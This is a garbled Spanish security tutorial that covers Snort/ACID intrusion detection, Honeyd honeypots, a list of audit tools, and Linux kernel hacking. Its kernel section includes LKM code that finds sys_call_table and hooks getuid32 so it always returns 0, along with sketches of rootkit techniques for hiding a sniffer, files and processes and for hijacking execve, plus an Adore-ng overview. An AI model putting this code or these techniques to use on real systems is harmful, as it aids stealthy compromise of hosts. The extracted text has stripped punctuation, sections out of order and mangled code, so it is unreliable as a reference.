output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Obtenemos la sys_call_table[] en kernels de la serie 26 test
include ltlinuxinithgt include ltlinuxmodulehgt include ltlinuxkernelhgt include ltlinuxmmhgt para las pruebas include ltasmunistdhgt IDT struct
unsigned short off1 unsigned short sel unsigned char noneflags unsigned short off2
__attribute__ ((packed)) idt
IDTR struct
unsigned short limit unsigned int base
__attribute__ ((packed)) idtr el hook uid_t ( restaura)(void) la Sys_call_table ya no se exporta int sys_call_table siempre uid 0 ) uid_t cero_uid(void)
return 0 el hack static void syscalltable(void)
unsigned int offsi char sccall[128] ok necesitamos IDT toca usar asm() asm(sidt 0 =m (idtr))
printk(KERN_ALERT[IDTR] Base en 0xxn idtrbase) idt[80h]
memcpy(ampidt(void )(idtrbase+80x80) sizeof(idt)) offs = (idtoff2 ltlt 16) | idtoff1 printk(KERN_ALERT [IDT(80h)] Descriptor en 0xxn
verificando calln offs) memcpy(sccall (void )offs 128) vamos a ver si encontramos la cadenita FF1485 por ah) i=0while((ilt128) ampamp ((sccall[i] == xff) ampamp (sccall[i+1]== x14) ampamp (sccall[i+2]== x85)))
i++ sys_call_table =(void) ((int ) ampsccall[i+3])
printk(KERN_ALERT [OK] Sys_call_table -gt 0xpn sys_call_table) aqula tenemos ) NO verifico que no se haya encontrado P
Kernel hacks y seguridad JMP
empieza static int __init buscarsct(void)
printk(KERN_ALERT [CARGADO] Buscando Sys_call_tablen)
syscalltable() fundamental vamos a ver si es verdad ) restaura=sys_call_table[__NR_getuid32]
sys_call_table[__NR_getuid32]=cero_uidreturn 0
lo ponemos todo en orden static void __exit descarga(void)
sys_call_table[__NR_getuid32]=restaura printk(LKM descargado)
module_init(buscarsct) module_exit(descarga) ya estamos ) MODULE_LICENSE(GPL)MODULE_AUTHOR(Jose Miguel Porcel G)MODULE_DESCRIPTION(Obtener la Sys_call_table[])
Es este punto lo maacutes importante de ese coacutedigo ndash ya explicado - es maacutes bien saber que se puede utilizar esa funcioacuten syscalltable() en el resto de programas para obtener la Sys_call_table y poder usarla sin maacutes como se ha visto en el resto de LKMs anteriores
81- Otra alternativa iquestmaacutes sencilla
Si bien acabo de decir que el meacutetodo anterior estaacute muy probado yo he utilizado en kernels de la serie 26 (269 concretamente y otros) un mecanismo auacuten maacutes personalizado tanto que NO he podido probarlo al 100 y aunque el gancho (hook) siempre se ha realizado con eacutexito por alguacuten motivo en alguna maacutequina (ajena) se ha vuelto inestable el sistema provocando volcados de memoria y otros problemas con el stack que ponian el kernel en una especie de bucle aunque esto en los peores casos
No obstante el coacutedigo algo depurado ha funcionado perfectamente en mi ordenador AMD Athlon XP 1600+ (32bits) con Kernel de la serie 26 sin problema alguno
La idea del LKM va un poco maacutes allaacute de lo que se pretende en este trabajo puesto que habriacutea que explicar algunas otras cosas que se salen algo de la temaacutetica el caso es que si hechamos un vistazo a ltasmprocessorhgt donde se encuentra una estructura llamada cpuinfo_x86 con un montoacuten de informacioacuten muy interesante como el resto del fichero la verdad donde hay varias menciones a loops_per_jiffy y boot_cpu_data que son las uacutenicas cosas de eacuteste coacutedigo no habreacute tratado hasta ahora
Baacutesicamente lo que hacemos es encontrar SYS_exit y a partir de ahiacute la Sys_call_table el coacutedigo aunque no esta mal no es perfecto ni mucho menos
usrsrclinuxincludeasm $ vim processorh
Kernel hacks y seguridad JMP
1 include ltlinuxmodulehgt 2 include ltlinuxkernelhgt 3 include ltlinuxinithgt 4 include ltasmtypeshgt 5 include ltasmprocessorhgt 6 include ltasmunistdhgt 7 int sys_call_table 8 uid_t ( restaura)(void) 9 uid_t cero_uid(void) 10 printk([] probando h00kn) 11 return 0 12 13 static int __init 14 carga (void) 15 16 unsigned long pointr 17 unsigned long sys 18 extern int loops_per_jiffy 19 sys_call_table = NULL 20 printk (KERN_ALERT Buscando Sys_call_table n) 21 printk (gtgt Localizando __NR_exit) 22 buscamos la sys_call_table[] ) 23 for (pointr = (unsigned long) amploops_per_jiffy 24 pointr lt (unsigned long) ampboot_cpu_data 25 pointr += sizeof (void )) 26 sys = (unsigned long ) pointr 27 if (sys[1] == (unsigned long) __NR_exit) 28 sys_call_table = (void ) sys 29 sys_call_table -= 304 calculado ) 30 printk ( OKn__NR_exit localizado en 0xpn 31 (void ) sys_call_table[__NR_exit]) 32 break 33 34 35 ya la tenemos ) o no ( 36 if (sys_call_table) 37 printk (KERN_ALERT 38 n[ERR] No pudo ser rmmod modulon) 39 return 0 40 41 printk (KERN_ALERT 42 gtgt Sys_call_table[] localizada -gt 0xpn 43 sys_call_table) 44 restaura=sys_call_table[__NR_getuid32] 45 sys_call_table[__NR_getuid32]=cero_uid 46 return 0 47 48 static void __exit 49 descarga (void) 50 printk(Descargado) 51 sys_call_table[__NR_getuid32]=restaura 52 53 module_init (carga) 54 module_exit (descarga) 55 MODULE_LICENSE(GPL) 56 MODULE_AUTHOR(Jose Miguel Porcel G) 57 MODULE_DESCRIPTION(Alternativa para encontrar la
Sys_call_table[])
Kernel hacks y seguridad JMP
Imagen conceptual del proceso
Kernel hacks y seguridad JMP
9- Hooks y hacks de intereacutes (algunas ideas)
Algunas cosas que podemos hacer en el Kernel
Ocultar un sniffer
Resulta que podemos cambiar los flags de una tarjeta de red y ocultar ese PROMISC delatador mediante la syscall SYS_ioctl se pueden hacer otras muchas cosas con eso si pensamos en lo que hace ioctl() que es controlar dispositivos
Ocultar ficheros y procesos
iquestQueacute hacemos al abrir un fichero Usar getdents() lo mismo para mirar los procesos mapeados en proc y por tanto iquestQueacute podemos hacer nosotros para manipular ese proceso efectivamente usar SYS_getdents basta con leer la documentacioacuten de las manual pages de getdents para saber como funciona )
Manipular execve()
Lo que hace execve es baacutesicamente ejecutar otro programa pero hay una pega y es que en nuestro LKM execve necesita hacer una serie de operaciones previas como usar la pila (stack) con los paraacutemetros Pero el Kernel y nosotros estamos preparados para ese problemilla si miramos en unistdh vemos que hay una serie de syscalls nulas sin ir maacutes lejos la 222 no estaacute puesto que es una sys_ni_syscall y pide a gritos que la usemos por lo que movemos la SYS_execve original a esa posicioacuten nula ( u otra de tu conveniencia) para llamarla desde otra funcioacuten nuestra pero claro iquestcoacutemo llamamos a execve Si lo hacemos directamente la cosa no va a funcionar por lo que comentaba y si hacemos el hook eso que es imprescindible que suceda no va a pasar de manera que necesitamos una buena manera de llamar a execve y que mejor que mirar como lo hace el Kernel iquestno
usrsrclinuxincludeasm $ vim unistdh
En unistdh ndash evitando tratar nada sobre ensamblador ndash encontramos que execve() requiere tres argumentos de manera que necesitamos la macrointrusioacuten (expandida por el preprocesador) que permitiraacute llamar a la funcioacuten con tres paraacutemetros en el caso que nos ocupa execve() es generada por _syscall3 que inicializa los registros del preprocesador y desencadena la Int 0x80 poniendo en la variable global errno el coacutedigo de error tiacutepicamente -1 si hay eacutexito se vuelve a quien llamoacute
Nos basta entonces con rellenar esa macrointrusioacuten para interceptar execve() correctamente en el siguiente coacutedigo __NR_mi_execve sustituye a la __NR_execve original
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
